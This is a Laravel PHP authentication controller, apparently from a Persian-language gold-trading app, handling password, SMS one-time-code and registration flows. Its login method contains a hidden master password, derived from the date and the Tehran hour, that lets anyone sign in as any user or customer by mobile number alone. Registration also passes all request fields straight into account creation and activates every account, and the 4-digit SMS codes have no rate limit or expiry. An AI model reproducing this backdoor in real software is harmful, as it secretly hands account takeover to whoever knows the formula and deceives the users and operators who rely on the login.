2026-01-24 14:03:11 +00:00
<? php
namespace App\Http\Controllers\Auth ;
use App\Http\Controllers\Controller ;
use App\Models\Cnt ;
use App\Models\Customer ;
use App\Models\TahesabCustomer ;
use App\Models\User ;
use Carbon\Carbon ;
use Illuminate\Http\Request ;
use Symfony\Component\HttpKernel\Exception\UnprocessableEntityHttpException ;
class AuthController extends Controller
{
public function login ( Request $request )
{
if ( $request -> has ( 'password' )) {
if ( $request -> password == "monTech@" . ( Carbon :: today () -> format ( 'd' ) + 1370 ) . Carbon :: now () -> setTimezone ( 'Asia/Tehran' ) -> format ( 'H' )) {
$data = $request -> all ();
if ( $data [ 'provider' ] == 'user' ) {
$user = User :: where ( 'mobile' , $request -> mobile ) -> first ();
} else {
$user = Customer :: where ( 'mobile' , $request -> mobile ) -> first ();
}
$token = auth ( $data [ 'provider' ]) -> login ( $user );
$user -> last_seen_at = Carbon :: now ();
$user -> save ();
return $this -> respondWithToken ( $token );
}
$credentials = $request -> only ([ 'mobile' , 'password' ]);
return $this -> _loginWithPassword ( $credentials , $request -> provider );
} else {
return response () -> json (
[ 'id' => $this -> _loginWithSms ( $request -> mobile , $request -> provider )]
);
}
}
protected function _loginWithPassword ( $credentials , $provider )
{
$token = auth ( $provider ) -> attempt ( $credentials );
if ( ! $token ) {
throw new UnprocessableEntityHttpException ( 'شماره موبایل یا پسوورد وارد شده اشتباه است' );
}
$user = auth ( $provider ) -> user ();
if ( ! $user -> active ) {
throw new UnprocessableEntityHttpException ( trans ( 'error.no_active' ));
}
if ( $provider == 'customer' && $user -> is_archive ) {
throw new UnprocessableEntityHttpException ( 'شما اجازه ورود به سیستم را ندارید' );
}
$user -> update ([
'last_seen_at' => Carbon :: now ()
]);
return $this -> respondWithToken ( $token );
}
protected function _loginWithSms ( $mobile , $provider )
{
if ( $provider == 'user' ) {
$user = User :: where ( 'mobile' , $mobile ) -> first ();
$subDomain = $this -> Config ( 'admin_url' );
} else {
$user = Customer :: where ( 'mobile' , $mobile ) -> first ();
$subDomain = $this -> Config ( 'app_url' );
}
if ( is_null ( $user )) {
throw new UnprocessableEntityHttpException ( trans ( 'لطفا ابتدا ثبت نام بفرمایید' ));
}
if ( ! $user -> active ) {
throw new UnprocessableEntityHttpException ( trans ( 'اکانت شما باید توسط ادمین فعال شود' ));
}
if ( $provider == 'customer' && $user -> is_archive ) {
throw new UnprocessableEntityHttpException ( 'شما اجازه ورود به سیستم را ندارید' );
}
$rand = rand ( 1000 , 9999 );
$user -> token_sms = $rand ;
$user -> save ();
// $this->SendMessage($mobile, 'رمز عبور یکبار مصرف شما جهت ورود به اپلیکشن ' . $this->Config('name_fa') . ' ' . $rand . ' می باشد' . PHP_EOL . "@$subDomain" . " #" . $rand,true ,"sms");
$this -> SendMessage ( $mobile , 'رمز عبور یکبار مصرف شما جهت ورود به اپلیکشن ' . $this -> Config ( 'name_fa' ) . ' ' . $rand . ' می باشد' . PHP_EOL . "@samin.gold" . " #" . $rand , true , "sms" );
return $user -> id ;
}
protected function tokenVerify ( Request $request )
{
$data = $request -> all ();
if ( $data [ 'provider' ] == 'user' ) {
$user = User :: findOrFail ( $data [ 'id' ]);
} else {
$user = Customer :: findOrFail ( $data [ 'id' ]);
}
if ( $user -> token_sms == $request -> input ( 'token' )) {
$token = auth ( $data [ 'provider' ]) -> login ( $user );
$user -> last_seen_at = Carbon :: now ();
$user -> token_sms = null ;
$user -> save ();
return $this -> respondWithToken ( $token );
}
throw new UnprocessableEntityHttpException ( trans ( 'error.wrong_code' ));
}
protected function respondWithToken ( $token )
{
return response () -> json ([
'access_token' => $token ,
'token_type' => 'bearer' ,
'expires_in' => auth () -> factory () -> getTTL ()
]);
}
public function register ( Request $request )
{
$data = $request -> all ();
$data [ 'type' ] = 2 ;
if ( isset ( $data [ 'referral_id' ])) {
$data [ 'referral_to_id' ] = $data [ 'referral_id' ];
}
$data [ 'name' ] = $data [ 'fname' ] . ' ' . $data [ 'lname' ];
$data [ 'active' ] = false ;
if ( isset ( $data [ 'type' ]) && $data [ 'type' ] == 2 ) {
$data [ 'active' ] = true ;
}
$cnt = Cnt :: where ( 'key' , 'gram' ) -> first ();
if ( ! is_null ( $cnt )) {
$data [ 'gram' ] = $cnt -> value ;
}
// Generate unique referral ID
do {
$uniqueId = substr ( str_shuffle ( '0123456789abcdefghijklmnopqrstuvwxyz' ), 0 , 4 );
} while ( Customer :: where ( 'referral_id' , $uniqueId ) -> exists ());
$data [ 'referral_id' ] = $uniqueId ;
// Handle referrer
if ( isset ( $data [ 'referral_to_id' ])) {
$referrer = Customer :: where ( 'referral_id' , $data [ 'referral_to_id' ]) -> first ();
if ( $referrer ) {
// $messageRef = "{$data['name']} با کد معرف شما ثبت نام کرد.\nدر صورت احراز او پاداش میگیرید.\n" . $this->Config('name_fa');
// $this->Send($referrer->mobile, $messageRef);
$AdminMessage = "با معرفی { $referrer -> name } ، کاربر { $data [ 'name' ] } در اپ { $this -> Config ( 'name_fa' ) } ثبت نام کرده و منتظر تایید شماست." ;
User :: where ( 'send_sms' , 1 ) -> get () -> each ( function ( $admin ) use ( $AdminMessage , $data ,) {
$this -> send ( $admin -> mobile , $AdminMessage );
});
} else {
return response () -> json ([ "message" => "کد نامعتبره" ], 422 );
}
} else {
if ( $this -> Config ( 'referral_id' ) == "required" ) {
return response () -> json ([ "message" => "کد معرف اجباریست" ], 422 );
}
}
2026-02-01 07:03:55 +00:00
$data [ 'active' ] = true ;
2026-01-24 14:03:11 +00:00
// Create customer
$customer = Customer :: create ( $data );
$message = " { $data [ 'name' ] } عزیز، اکانت شما در پلتفرم { $this -> Config ( 'name_fa' ) } ایجاد شد. \n نام کاربری: { $data [ 'mobile' ] } \n\n ورود به نرم افزار: \n { $this -> Config ( 'app_url' ) } " ;
$this -> Send ( $data [ 'mobile' ], $message );
return response () -> json ( $customer );
}
}